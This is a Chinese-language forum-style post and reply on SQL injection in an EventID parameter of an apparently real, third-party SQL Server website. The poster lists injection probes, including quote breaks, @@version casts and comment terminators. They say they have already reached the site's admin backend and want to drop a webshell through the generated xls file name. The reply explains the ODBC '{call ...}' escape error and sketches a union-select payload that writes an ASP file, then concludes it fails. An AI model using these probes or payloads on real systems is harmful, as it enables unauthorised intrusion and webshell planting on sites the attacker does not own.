SQL Server某次注入过程分析

问题如下:
EventID=2797 加个引号 
EventID=2797'
Incorrect syntax near '{'.
感觉是数字型的 
EventID=2798-1
EventID=2796%2B1
EventID=2796-@@version
EventID=convert(int,@@version)
EventID=2797--
EventID=2797}--
都是返回 
Invalid character value for cast specification

好吧 直觉不对 那应该是字符串了 
EventID=2797'--
EventID=2797'+and+''='
EventID=2797'%2B'
EventID=2797'}--
这下都是返回 
Incorrect syntax near '{'.

这个点如果给他正常的参数 比如 
EventID=2797
是返回一个记录 猜测仅仅是SELECT 

搜索了一下SQL Server的花括号 感觉有点高端 一时不能理解。。 

这个站有很多这样的注入点,我并不想注入爆数据,有其他的正常的点我已经注入进了管理后台了,只是没上传。。 

我仅仅想让这个点闭合不报错,因为这个页面会生产一个xls文件,这个xls文件的文件名是以EventID来命名的。我想直接拿shell 

第一个错误:'{'附近有语法错误
花括号只可能出现在odbc转义序列里面
目测这里面有一轮存储过程调用,只有通过odbc转义序列调用存储过程的时候会出现这样的错误信息
其调用看起来是这样的:
{call proc_name('2797')}
相当于
exec  proc_name('2797')
proc_name表示的是他自己的存储过程。
当你提交2797'的时候,odbc转义序列会出错,显示的错误信息就是:'{'附近有语法错误
(要测试的话,在菜刀里面测,sql查询分析器里面不解析这个语法。)

如果这个存储过程内有语句拼接操作的话,由于存储过程的参数为字符串,要用单引号对单引号进行转义,即:
EventID=2797''
=>
{call proc_name('2797''')}
procedure proc_name @id varchar(256)
begin
--此时的@id为 2797' ,如果这里继续拼接语句的话查询会出错,可能返回其他的错误信息
--exec ('select * from table where id='+@id)
end

但是这只能进一步注入,基本不可能覆盖掉eventid的返回结果,原因是这种类似于id的字段在数据库中绝大多数情况下都是int型,没有那个程序员会傻得把数字用字符型字段去保存。
注入中覆盖这个结果无非就是and 1=2 union,但数字和非数字字符进行union时会报错。文件名最少要有个asp,这里转换不过就会出错了。
--@id='1 and 1=2 union select ''1.asp'',''<%=1%>'''
--select eventid,data,....... from table where eventid=1 union select  '1.asp','<%=1%>',.....
---------------------------------------------------------------------^  隐式转换失败,出错


除非他内部有某个字段能控制文件名的其他部分(比如拓展名xls),否则这里没办法直接导出shell。

第二个错误:Invalid character value for cast specification
记得是某些地方对字符串进行隐式类型转换会报这个错误,例如这条语句就会做一次隐式转换
select 1 where 1='1'
不过本地测试了几条查询,没复现,都能看到很详细的错误信息。实在忘了是哪里会出这个错误了。